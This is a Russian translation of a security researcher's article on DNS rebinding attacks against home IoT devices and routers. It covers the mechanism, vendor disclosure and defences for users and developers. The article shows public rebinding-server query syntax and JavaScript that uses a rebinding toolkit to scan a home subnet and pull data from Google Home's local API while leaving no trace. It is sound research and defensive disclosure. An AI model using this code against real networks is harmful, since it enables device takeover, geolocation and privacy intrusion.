Атака на локальные сети из интернета через перепривязку DNS

Автор: Brannon Dorsey

Если вы кликните на вредоносную ссылку, злоумышленник может удаленно получить контроль над вашим Wi-Fi роутером, колонками Google Home / Sonos, приставкой Roku, домашним терморегулятором и другими устройствами.

Можно сказать, что домашняя сеть является сакральным местом и вашим персональным кусочком киберпространства. Здесь мы подключаем телефоны, ноутбуки и «умные» устройства к интернету и объединяем между собой для повышения удобства и качества нашей жизни. По крайней мере, так говорят в рекламных роликах. К концу второго десятилетия локальные сети все больше наводняются устройствами разного рода, начиная от умных телевизоров и мультимедийных проигрывателей и заканчивая помощниками по дому, камерами, холодильниками, дверными замками и регуляторами температуры. Короче говоря, домашние сети становятся похожи на приют для проверенных персональных и домашних устройств.

Для доступа и управления многими из вышеупомянутых устройств аутентификация сильно урезана или вообще отсутствует. По сути, эти девайсы доверяют своим соседям по сети, как если бы вы безоговорочно доверяли каждому, кто оказывался в вашем доме. Взаимодействие между устройствами происходит через UPnP и HTTP, а защита от подключений со стороны интернета лежит на фаерволе роутера. Можно сказать, что все коммуникации происходят в огороженном пространстве, защищенном от внешних угроз. Так, вероятно, думают разработчики и производители этих девайсов.

Несколько месяцев назад я начал изучать схему атак десятилетней давности с использованием перепривязки DNS (DNS rebinding). Попросту говоря, перепривязывание DNS позволяет удаленному деятелю обойти фаервол и использовать браузер жертвы в качестве прокси для прямого подключения к устройствам домашней сети. Например, кликнув по ссылке или посмотрев вредоносный баннер, вы можете непреднамеренно дать доступ злоумышленнику к вашему терморегулятору, отвечающему за температуру в вашем доме.

Примечание: в журнале Wired это исследование было одновременно опубликовано в аналогичной статье за авторством Лили Хэй Ньюмен.

В чем суть перепривязывания DNS?

Перед тем как погружаться в суть этой темы, разберемся с механизмом безопасности, который нужно обойти во время перепривязки DNS. Конкретно речь идет о политике (правиле) ограничения домена (same-origin policy). Некоторое время назад разработчики браузеров решили, что веб-страницам на одном домене нельзя отсылать произвольные запросы другому домену без разрешения со стороны второго домена. Если вы перейдете по вредоносной ссылке, целевая страница не должна отсылать HTTP-запрос банковскому сайту и использовать вашу сессию для опустошения счета. Таким образом, браузеры ограничивают отсылку HTTP-запросов с домена для доступа к ресурсам только в рамках текущего домена (или к другим доменам, разрешенным в cross-origin resource sharing)

Однако при помощи DNS можно спровоцировать взаимодействие между браузером и сторонним доменом, коммуникация с которым не разрешена явным образом.

Рассмотрим пример. Код по адресу http://malicious.website не может выполнить стандартный запрос XMLHttpRequest к сайту http://bank.com/transfer-fund, поскольку мы имеем дело с разными доменами, расцениваемые браузером как разные источники. В браузерах предусмотрено сравнение протокола, имени домена и номера порта между запросом и источником страницы, откуда отсылается запрос. Эти параметры должны быть идентичны. Звучит неплохо, не так ли?

Однако радоваться пока рано. Ни для кого не секрет, что каждое имя домена привязано к IP-адресу. Например, за именем malicious.website может быть закреплен адрес 34.192.228.43, а за сайтом bank.com – адрес 171.159.228.150. В DNS реализован механизм для трансляции легко запоминаемых имен в IP-адреса, используемых компьютерами для коммуникации друг с другом. Однако в современных браузерах во время анализа ограничений из same-origin policy используются URL’ы, а не IP-адреса. Что произойдет, если IP-адрес сайта malicious.website быстро поменяется с 34.192.228.43 на 171.159.228.150? С точки зрения браузера ничего не изменилось. Однако вместо коммуникации с сервером с файлами сайта malicious.website браузер будет взаимодействовать с сайтом bank.com. Понимаете, в чем дело? DNS может использоваться для вовлечения браузеров в коммуникацию с серверами, не разрешенными явным образом.

За последний год перепривязка DNS несколько раз оказывалась в центре внимания после обнаружения уязвимостей в популярном программном обеспечении. Наиболее примечательные случаи: видеоигры от компании Blizzard, торрент-клиент Transmission и кошельки криптовалюты Ethereum оказались уязвимы к перепривязыванию DNS. В случае с уязвимостью Ethereum Geth при определенных обстоятельствах злоумышленник мог получить полный контроль над аккаунтом жертвы и всеми монетами.

Как упоминалось выше, перепривязка DNS позволяет обходить фаервол и использовать браузер в качестве прокси для прямого доступа к устройствам в домашней сети.

Как работает перепривязывание DNS

1. Злоумышленник управляет вредоносным DNS-сервером, отвечающим на запросы касательно домена (предположим, rebind.network).

2. Злоумышленник провоцирует жертву на переход по адресу http://rebind.network в браузере. Например, при помощи фишинга или XSS или через показ HTML-баннера.

3. Как только жертва перешла по ссылке, браузер делает запрос к DNS-серверу, связанному с преобразованием имени rebind.network в IP-адрес. При получении запроса, сервер, контролируемый злоумышленником, отсылает настоящий IP-адрес (34.192.228.43). Кроме того, значение TTL устанавливается равным 1 секунду. Таким образом, кэш на машине жертвы будет актуален не очень долго.

4. Жертва загружает страницу по адресу http://rebind.network, содержащую вредоносный JavaScript-код, начинающий выполняться в браузере. Страница многократно выполняет странные POST-запросы к странице http://rebind.network/thermostat с полезной нагрузкой JSON наподобие {“tmode”: 1, “a_heat”: 95}.

5. Вначале эти запросы отсылается на веб-сервер, подконтрольный злоумышленнику, с IP-адресом 34.192.228.43, однако через некоторое время (схема DNS-кэширования в браузере выглядит странно) резольвер браузера обнаруживает, что DNS-запись для адреса rebind.network устарела, и выполняет еще один запрос.

6. DNS-сервер, подконтрольный злоумышленнику, получает от жертвы второй запрос, но в этот раз посылает 192.168.1.77, являющийся IP-адресом умного терморегулятора из локальной сети жертвы.

7. Жертва получает вредоносный DNS-ответ и вместо http://rebind.network начинает посылать HTTP-запросы на адрес 192.168.1.77. Поскольку с точки зрения браузера ничего не изменилось, отсылается еще один POST-запрос на адрес http://rebind.network/thermostat.

8. В этот раз POST-запрос отсылается на небольшой незащищенный веб-сервер, работающий в терморегуляторе, подключенного через Wi-Fi. Регулятор температуры обрабатывает запрос, и температура в доме жертвы устанавливается 35 градусов по Цельсию.

Этот сценарий был реализован в реальном эксплоите (CVE-2018–11315), найденном и использованном мной против моего умного терморегулятора Radio Thermostat CT50. Атаки, подобные вышеописанной, могут иметь еще более серьезные последствия для устройств и служб, работающих в домашней сети. Используя браузер жертвы в качестве HTTP-прокси, при помощи атак на базе перепривязки DNS можно обходить сетевые фаерволы и делать каждое устройство, защищенное в интранете, доступным злоумышленнику, работающему удаленно.

Какие устройства уязвимы?

После обнаружения и эксплуатации этой бреши в самом первом устройстве, с которым я работал, мне подумалось, что множество других IoT-устройств также могут быть уязвимы. Я начал собирать и изучать другие популярные умные домашние устройства, доступные на рынке. В течение последующих нескольких недель каждое устройство, побывавшее в моих руках, оказалось уязвимым к перепривязке DNS в той или иной степени. В некоторых случаях удавалась информационная утечка, в других – получение полного контроля над устройством. Динамик Google Home, медиаплеер Chromecast, приставка Roku, беспроводные системы Sonos и некоторые модели термостатов могут стать жертвой злоумышленника, работающего удаленно.

Выдержка из твиттера: идея о том, что локальная является защищенной – ошибочна. Если продолжать верить в эту иллюзию, пострадает много людей.

Я контактировал с производителями вышеуказанных устройств. Некоторые патчи находятся в стадии разработки, некоторые – уже выпущены (подробнее про мою находку). Я упомянул об устройствах, протестированные мной лично. Если продукция больших компаний уязвима к перепривязке DNS, значит, более мелких производителей эта проблема тоже касается, и можно сказать, что уязвимых устройств бесчисленное множество.

Рисунок 1: Поиск устройств в домашней сети, уязвимых к перепривязке DNS

Я написал экспериментальный эксплоит, пригодный для поиска уязвимых устройств в домашней сети и доступный по адресу http://rebind.network.

Динамик Google Home

Рисунок 2: Модель Google Home Mini

Приложения для управления продукцией Google Home используют незадокументированный REST API, работающий на порту 8008 устройства (например, http://192.168.1.208:8008). Первое упоминание про эту службу я нашел в 2013 году, когда Брэндон Фикет написал о локальном API, найденном во время сниффинга Wi-Fi трафика, передаваемого медиаплеером Chromecast. Прошло пять лет и, кажется, компания Google интегрировала загадочный API во все продукты Google Home. Как вы можете догадаться, на данный момент малоизвестный API стал хорошо задокументированным силами энтузиастов. На самом деле, ранее в этом году Ризвик Вибху (Rithvik Vibhu) опубликовал детальную документацию на этот API.

Этот API дает возможность расширенного контроля над устройствами без аутентификации. Например, доступны функции запуска приложения и просмотра контента, сканирования и подключения к близлежащим Wi-Fi сетям, перезагрузки и даже сброса настроек до заводских.

Представьте ситуацию, когда вы просматривайте сайт и вдруг настройки вашего динамика Google Home сбрасываются. Или ваш сосед по квартире оставил браузер открытым и HTML-баннер отправил ваш медиаплеер Chromecast в цикл перезагрузки в то время, когда вы смотрите кино? Мой любимый сценарий использования этого API – сканирование Wi-Fi. Используя эту возможность в сочетании с публично доступными данными вардрайвинга, злоумышленники могут узнать точную геолокацию на базе вашего списка близлежащих Wi-Fi сетей. Подобная атака окажется успешной, даже если вы отключили API геолокации в браузере и используете VPN для туннелирования трафика через другую страну.

Вот пример информации, которую мне удалось извлечь с моего Chromecast. Можете догадаться, где я писал этот пост?

Обновление от 19 июня 2018 года: Крэйг Янг одновременно со мной исследовал эту уязвимость и опубликовал результаты перед моим постом. Крэйг создал концептуальный код для осуществления атаки, связанной с геолокацией, описанной выше, но саму атаку ни разу не реализовал. Работа Крейга вместе с комментарием Брайана Креба определенно заслуживают внимания.

Я уведомил Google об этой проблеме в марте во время обнаружения и еще раз в апреле вследствие отсутствия какой-либо реакции. Согласно статье Креба, Янг сообщил об уязвимости в Google, но тикет был закрыт с комментарием «Статус: Исправлено не будет (Так и задумывалось)». Исправления не выходили до тех пор, пока Креб вышел на контакт с Google, и проблему согласились исправить. Ожидается, что Google выпустит патч в середине июля 2018 года.

Беспроводная колонка Sonos

Рисунок 3: Sonos Play:1

Как и Google Home, беспроводные колонки Sonos также могут оказаться под управлением злоумышленника удаленно (CVE-2018–11316). Кликнув по вредоносной ссылке, ваш приятный вечер под музыку джаза может оказаться прерван. Эта шутка пригодна для простых и безвредных пранков.

После недолгих поисков я нашел несколько интересных ссылок на веб-сервере Sonos UPnP, которые могут оказаться не столь невинными. Кажется, на устройстве есть несколько скрытых веб-страниц для отладочных целей. На странице http://192.168.1.76:1400/support/review содержит XML файл с результатами выполнения различных Unix-команд на устройстве (на котором, скорее всего, работает дистрибутив Linux).

В разделе http://192.168.1.76:1400/tools есть простейшая HTML-форма, позволяющая запускать некоторые Unix-команды на устройстве Sonos, а HTTP API позволяет злоумышленнику, работающему удаленно, исследовать внутренние и внешние сети при помощи команды traceroute и отправлять к хостам ICMP-запросы при помощи команды ping и простых POST-запросов. Злоумышленник может использовать колонку Sonos как отправную точку для составления сетевой топологии и сбора информации о подключениях, необходимую для реализации последующих атак.

Обновление от 19 июня 2018 года: В Sonos сделали заявление вместе с этой публикацией: «После изучения возможностей по реализации перепривязки DNS мы немедленно приступили к созданию патча, который выйдет в июльском обновлении».

Приставка Roku

Рисунок 4: RokuTV

Во время исследования сети в холле здания, где я работаю, был обнаружен HTTP-сервер на порту 8060 устройства RokuTV. Вскоре я выяснил, что External Control API этого девайса позволяет управлять базовой функциональностью: запуском приложения, поиском и проигрыванием файлов. Кроме того, доступно управление через кнопку и нажатие клавиш как на виртуальном пульте. Доступны также входные каналы к сенсорам, включая акселерометр, датчик ориентации, гироскоп и даже магнитометр (зачем?). Как вы вероятно догадались, локальное API не требует аутентификации и может эксплуатироваться через перепривязку DNS (CVE-2018–11314).

Я рассказал о своих находках специалистам по безопасности компании Roku и получил следующий ответ:

Риска для наших покупателей или платформы этот API не несет. Мы знаем о веб-приложениях наподобие http://remoku.tv, при помощи которого через браузер можно взаимодействовать с устройством, находящимся в той же самой локальной сети.

После описания детального сценария атаки вице-президент, курирующий вопросы безопасности в компании, сказал, что команда «рассматривает этот инцидент как актуальную угрозу, а не как рядовой случай». В итоге выпуск релиза Roku OS 8.1 был немедленно приостановлен и началась разработка патча. Ожидалось, что весь процесс займет около 3-4 месяцев, если не удастся найти адекватное решение для текущего релиза.

После некоторых размышления я проинформировал специалистов ROKU, что работаю репортером в WIRED и планирую вскоре опубликовать свое исследование. На следующее утро я получил письмо, где сообщалось о завершении разработки патча и начале процесса обновления прошивок у 20 миллионов устройств.

Обновление от 19 июня 2018 года: Компания Roku выпустила заявление вместе с публикацией этой статьи: «После того как мы узнали о проблеме, связанной с DNS привязкой, был создан патч. Устройства у покупателей на данный момент обновляются. Обратите внимание, что любая потенциальная эксплуатация этой уязвимости не несет рисков, связанных с безопасностью, для учетных записей наших покупателей и партнеров по продажам или платформы Roku».

Радиотермостат

Рисунок 5: Радиотермостат CT50

Радиотермостаты CT50 и CT80 содержат наиболее серьезные уязвимости среди найденных мной. Эти устройства являются наиболее дешевыми среди «умных» термостатов, доступных на рынке на данный момент. Я заказал одно устройство после того как узнал о недостаточной безопасности подобных девайсов из бюллетеня CVE-2013–4860, где сообщалось об отсутствии аутентификации и возможности контроля кем попало, кто находится в одной сети с девайсом. Дэниел Кроули из компании Trustwave SpiderLabs несколько раз пытался сообщить производителю об уязвимости, но ответа не последовало, и отчет о бреши был опубликован. К сожалению, отсутствие ответа часто является причиной публикации отчетов, особенно в случае с мелкими производителями. Я предполагаю, что уязвимость, скорее всего, оставалась неисправленной в течение 5 лет, и заказал новую модель CT50.

Мое предположение оказалось верным, и API для управления терморегулятором было уязвимо к перепривязке DNS. Стоит ли говорить о возможных последствиях, если терморегулятор вашего здания окажется под контролем злоумышленника, работающего удаленно? Экспериментальный эксплоит по адресу http://rebind.network извлекает некоторую базовую информацию из термостата прежде, чем установить температуру 35 градусов по Цельсию. Эта температура может оказаться опасной или даже смертельной в жаркие летние месяцы особенно для пожилых людей или людей с ограниченными возможностями. Если же ваш домашний девайс оказалось под контролем злоумышленника, пока вы были в отпуске, счет за электричество может оказаться огромным.

Серьезность уязвимости и продолжающаяся халатность компании Radio Thermostat Company of America, которой потребовалось несколько лет для исправления проблемы – прекрасный пример, зачем нужно регулировать безопасность IoT-устройств на законодательном уровне.

Wi-Fi роутеры

Если вы продолжаете читать статью, то, скорее всего, у вас в голове возникла мысль, что другие устройства из домашней сети также могут быть уязвимы. Думаю, вас не удивит тот факт, что исторически сетевые роутеры в целом являются наиболее распространенной целью для атак, связанных с перепривязкой DNS.

Можно сказать, что сетевые роутеры хранят ключи от многих дверей. Если вы контролируете роутер, то, по сути, контролируете сеть. Существует два распространенных вектора с использованием перепривязки DNS:

1. Передача через POST-запрос со стандартными учетными записями на страницу наподобие http://192.168.1.1/login для авторизации в качестве администратора. Далее у злоумышленника появляется полный контроль над устройством и возможность конфигурирования сети.

2. Использование интерфейса Internet Gateway Device (IGD) через UPnP для настройки постоянных соединений для проброса портов и открытия произвольных UDP / TCP портов для доступа из публичного интернета.

Первый метод легко реализовать, поскольку покупатели зачастую не меняют стандартные учетные записи. Возможно, будет включено использование WPA2 и установлен пароль для Wi-Fi, но панель настройки для роутера будет доступна каждому по логину admin и паролю admin.

Второй сценарий еще хуже и представляет собой откровенную пародию. Так или иначе, у большинства современных домашних роутеров сервера UPnP включены по умолчанию. Эти сервера дают возможность настраивать роутер с правами администратора любой машине из сети без аутентификации через HTTP. Любой пользователь из локальной сети или интернета (через перепривязку DNS) может воспользоваться IGD/UPnP для настройки DNS-сервера роутера, добавить / удалить переадресацию портов для NAT и WAN, посмотреть объем трафика полученного/переданного в сети и получить доступ к публичному IP-адресу роутера (подробности на сайте upnp-hacks.org).

Через перепривязку DNS, направленную на UPnP сервер роутера, проделать дыру в фаерволе и оставить постоянную дверь для реализации других атак на базе протоколов TCP / UDP на устройства из сети, но без ограничений по HTTP, присутствующих у перепривязки DNS.

Злоумышленники могут даже настроить правила проброса портов для переадресации трафика на внешние IP-адреса и сделать роутер жертвы как часть большой сети инфицированных роутеров, используемой для маскировки трафика от государственных органов (подробнее в статье про UPnProxy).

IGD также позволяет обнаружить публичный IP-адрес роутера через простейший HTTP-запрос без авторизации. В комбинации с перепривязкой DNS можно деанонимизировать пользователей, пытающихся замаскировать публичный IP-адрес через VPN или TOR.

Однако, что касается перепривязки DNS в контексте роутеров, то все не так очевидно. Я видел роутеры, где полностью блокируется перепривязка DNS, а также роутеры с рандомизацией порта UPnP сервера с целью затруднения реализации подобного рода атак. С другой стороны, я сталкивался с роутерами полностью беззащитными к перепривязке DNS. Если честно, то мне не очень хочется разбираться и исследовать роутеры на предмет реализации перепривязки DNS. В основном потому, что я боюсь получить шокирующие результаты.

Безопасность локальной сети – иллюзия

Возникает закономерный вопрос. Почему так много устройств уязвимо к атаке десятилетней давности? Вероятно, причин больше, чем я думаю, но мне кажется, что основных – две.

Рисунок 6: Опрос на предмет осведомленности об атаках на базе перепривязки DNS

Первое, о чем стоит упомянуть – уровень осведомленности. Насколько я могу судить, перепривязка DNS не столь популярна, как могла бы быть. Конечно, некоторые специалисты могли слышать об этих атаках, но я почти уверен, что очень мало людей реально опробовали эту технологию на практике. Эта атака громоздка и трудна в реализации. Вы должны организовать вредоносный DNS-сервер в облаке, написать полезную нагрузку на JavaScript, заточенную под конкретную службу, передать полезную нагрузку жертве в целевой сети. Затем нужно понять, как использовать браузер жертвы для перехода на целевую машину, где работает нужная служба, IP-адрес которой, вероятно, вы не знаете. В общем, много накладных расходов и мало надежности. Я написал несколько утилит для упрощения задачи. Подробности далее.

Объявление в твиттере: «Требуются разработчики для написания программного обеспечения для работы с локальными частными сетями, как если бы эти сети были враждебными и публичными».

Даже если перепривязка DNS станет более популярной среди специалистов по кибербезопаности, нет гарантии, что мы увидим снижение числа зараженных устройств, поскольку API реализуется веб-разработчиками. Естественно, веб-разработчики должны знать, что для доступа к API извне должна быть авторизация. С другой стороны, существует распространение мнение, что локальные сети сами по себе защищены от вторжения из интернета, и локальные API перекладывают вопросы достоверности и безопасности на саму локальную сеть. Зачем нужна авторизация в REST API, если в роутере уже есть авторизация? Целые протоколы навроде UPnP реализованы на основе идеи, что устройства в сети доверяют друг другу. Эта концепция и является основным корнем проблемы.

Полная версия объявления в твиттере: «Требуются разработчики для написания программного обеспечения по работе с локальными сетями, как если бы эти сети были враждебными и публичными, поскольку мы не считаем локальные сети полностью безопасными. Если мы будем продолжать думать, что локальные сети безопасны, может пострадать много людей».

Защита от перепривязки DNS

Пользователи

Как пользователь какого-либо продукта или службы, вы часто зависите от создателя продукта. Однако в случае с перепривязкой DNS у вас есть некоторый контроль над ситуацией, и вы можете защититься от подобного рода угроз, изменив настройки роутера. Сервис OpenDNS Home бесплатен и может быть использовать для фильтрации подозрительных IP-адресов, как, например, частных IP-диапазонов в DNS-ответах. Нужно поменять DNS-сервер вашего роутера со стандартного на один из DNS-серверов, предоставляемых службой OpenDNS Home.

Если вы предпочитаете управлять фильтрацией самостоятельно и не доверяете публичным DNS-сервера, можете воспользоваться Dnsmasq или установить прошивку на роутере навроде DD-RT. Каждое из этих решений вполне уместно, если у вас есть доступ к роутеру. Однако будьте бдительными. Вы все еще можете оказаться жертвой перепривязки DNS, если сеть не защищена от подобного рода атак.

Разработчики

Если вы разработчик или участвуете в создании продукта с HTTP API, существует несколько способов защититься от подобного рода атак. Рассмотрим три простых метода.

Самое простое решение и без побочных эффектов – добавить проверку заголовка «Host» на стороне HTTP-сервер. Этот заголовок добавляется во все HTTP-запросы, отсылаемые современными браузерами и содержит адрес сервера (hostname:port) для коммуникации. В качестве адреса сервера может выступать имя домена или IP-адреса, однако в любом случае после получения запроса нужно проверить, что хост в заголовке совпадает с хостом сервера.

Поскольку перепривязка DNS основывается на изменении IP-адреса, связанного с именем домена, заголовок Host во вредоносном HTTP-запросе, направляемом в целевую службу будет содержать оригинальное имя домена. Вредоносный POST-запрос, используемый на странице авторизации роутера, будет иметь значение заголовка Host, отличающееся от имени хоста или IP-адреса роутера. Соответственно, вредоносный заголовок будет выглядеть примерно так Host: malicious.website. Веб-серверам следует проверять, что запрашиваемый заголовок Host в точности совпадает с настоящим именем хоста. В противном случае должен возвращаться HTTP-статус с кодом 403 (Forbidden). Я написал NPM-модуль с вышеописанным функционалом для веб-серверов Express.js. Схожее решение для другого сервера или на другом языке реализовать довольно просто.

Еще один эффективный метод для защиты от перепривязки DNS – вместо HTTP использовать HTTPS даже в локальных сетях. Во время перепривязки у целевой службы будет SSL-сертификат, который окажется невалидным для сайта malicious.website, и запрос к API будет заблокирован. В качестве бонуса у пользователей повысится безопасность в целом и появится все фишки, присутствующие в TLS/SSL. Обычно производители не поставляют IoT-устройства с TLS/SSL сертификатами, однако в медиа-сервере Plex проблема решена оригинальным образом, когда перепривязка DNS используется для выпуска сертификатов и защиты покупателей!

Вероятно, наилучшее решение, хотя с возможными побочными эффектами для вашей системы – добавить аутентификацию в API. Если на API завязан важный функционал или доступ к конфиденциальной информации, то права должны быть ограничены. К этому API не должно быть доступа у всех из локальной сети и тем более из публичного интернета (соответственно, и через привязку DNS тоже). Нет никакой необходимости в том, чтобы у любого устройства в беспроводной был полный контроль над температурой в помещении. Мы часто забываем, как легко взломать WPA2.

Инструменты для реализации перепривязки DNS

Для повышения осведомленности о перепривязки DNS я создал утилиты и библиотеки, чтобы вы могли попробовать реализовать подобные атаки на практике. Помимо полезной нагрузки на JavaScript, написанной для целевого устройства или службы, схема доставки полезной нагрузки, взаимодействие с вредоносным DNS-сервером и перечисления хостов в сети жертвы во многом схожи от случая к случаю. Все инструменты идут с открытым исходным кодом, и вы можете легко разобраться и сымитировать перепривязку DNS.

· «Вредоносный» DNS-сервер: whonow

· Библиотека на JavaScript для фронтэнда: DNS rebind toolkit

Whonow

Whonow представляет собой DNS-сервер, позволяющий динамически настраивать ответы и правила перепривязки при помощи все тех же запросов к домену. Пример:

# respond to DNS queries for this domain with 34.192.228.43 the first

# time it is requested and then 192.168.1.1 every time after that.

A.34.192.228.43.1time.192.168.1.1.forever.rebind.network

# respond first with 34.192.228.43, then 192.168.1.1 the next five

# times, and then start all over again (1, then 5, forever…)

A.34.192.228.43.1time.192.168.1.1.5times.repeat.rebind.network

При использовании динамических правил для перепривязки DNS нам не нужно разворачивать собственный DNS-сервер для эксплуатации политики ограничения домена браузера. Каждый может использовать публичный сервер whonow, работающий на порту 53 по адресу rebind.network.

Прямо сейчас можно воспользоваться утилитой dig и отправить запрос к публичному серверу. Сервер будет отвечать на запросы для доменных имен *rebind.network.

# dig is a unix command for making DNS requests

dig A.10.10.10.50.forever.rebind.network

;; QUESTION SECTION:

;10.10.10.50.forever.rebind.network. IN A

;; ANSWER SECTION:

10.10.10.50.forever.rebind.network. 1 IN A 10.10.10.50

Whonow всегда устанавливает значение TTL равным одной секунде, и ответы не будут долго находиться в кэше DNS-резольвера.

Рисунок 7: Ответы публичного сервера whonow

DNS Rebind Toolkit

DNS Rebind Toolkit представляет собой библиотеку для автоматизации атак на базе перепривязки DNS. Как только вы написали полезную нагрузку на JavaScript для целевой службы, эта библиотека позволит вам реализовать атаку в сети жертвы.

· Используется утечка IP-адресов в WebRTC для выяснения локального IP-адреса жертвы.

· Автоматизирован перебор диапазона подсети, и вы можете скомпрометировать устройства, IP-адреса которых не известны.

· Автоматизирована перепривязка DNS. Возвращается объект Promise, который резолвится после успешного завершения перепривязки.

· Используется сервер whonow. Нет необходимости разворачивать собственный DNS-сервер для реализации перепривязки.

· Предусмотрено несколько полезных нагрузок для атаки на наиболее распространенные IoT устройства. Изучая хорошо задокументированные примеры, вы можете написать собственные эксплоиты.

Реализация атаки против устройства Google Home в подсети 192.168.1.1/24 не сложнее, чем внедрить код в страницу index.html.

// JS in index.html

DNSRebindAttack.getLocalIPAddress()

.then(ip => launchRebindAttack(ip))

.catch(err => {

    console.error(err)

    // Looks like our nifty WebRTC leak trick didn't work 

    // No biggie, most home networks are 192.168.1.1/24 anyway.

    launchRebindAttack('192.168.1.1')

})

function launchRebindAttack(localIp) {

    // convert 192.168.1.1 into array from 192.168.1.0 - 192.168.1.255

    const first3Octets = localIp.substring(0, localIp.lastIndexOf('.'))

    const ips = [...Array(256).keys()].map(octet => `${first3Octets}.${octet}`)

    // The first argument is the domain name of a publicly accessible

    // whonow server (https://github.com/brannondorsey/whonow).

    // I've got one running on port 53 of rebind.network you can to use.

    // Google Home's undocumented HTTP API server runs on port 8008

    const rebind = new DNSRebindAttack('rebind.network', 8008)

    // Launch a DNS Rebind attack, spawning 255 iframes

    rebind.attack(ips, '127.0.0.1', 'payload/google-home.html')

}

Файл index.html инициирует атаку, создавай iframe для каждого IP-адреса в массиве, передаваемого в rebind.attack(…). В каждый iframe содержит payloads/google-home.html со следующим сниппетом:

// JS in payloads/google-home.html

attack()

.then((json) => {

          console.log('The attack was successful! Here is the JSON it exfiltrated:')

          console.log(json)

      },

      err => {

          // there probably isn't even a machine with this IP address...

          console.error('No Google Home found at this IP ')

      }

)

// remove the iframe from index.html once the attack is complete. 

// Leave no trace ;)

.then(() => DNSRebindNode.destroy())

async function attack() {

    // a helper function that returns some fetch() options configured with

    // certain useful headers

    const getOptions = DNSRebindNode.fetchOptions()

    try {

        const opts = { fetchOptions: getOptions }

        return await DNSRebindNode.rebind(`http://${location.host}/setup/eureka_info`, opts).then(data => data.json())

    } catch (err) {

        return Promise.reject(err)

    }

}

Ссылки и благодарности

Я благодарю Лили Хэй Ньюмэн за три месяца плодотворных разговоров, которые привели к освещению этого исследования в журнале WIRED. Огромная благодарность Вильяму Робертсону за помощь в моей работе и особенно за разрешение поэкспериментировать в домашней сети и над устройством Sonos. Также благодарю отделы безопасности Roku и Sonos за быструю реакцию, разработку, выпуск обновлений для прошивок и защиты пользователей от атак на базе перепривязки DNS.

Ниже приведен перечень статей и ресурсов, имеющих отношение к перепривязке DNS, которые мне очень помогли во время исследования. Надеюсь, для вас эти ссылки тоже окажутся полезными:

• Stanford’s Original DNS Rebinding Research (2007)
• DNS Rebinding with Robert RSnake Hansen (прекрасное видео)
• CORS, the Frontendian
• Luke Young’s DEFCON 25 “Achieving Reliable DNS Rebinding”
• Ricky Lawshae’s DEFCON 19 SOAP & UPnP Talk
• UPnP Hacks website
• Dear developers, beware of DNS Rebinding
• Practical Attacks with DNS Rebinding
• Original Blizzard Game’s DNS rebinding bug report by Tavis Ormandy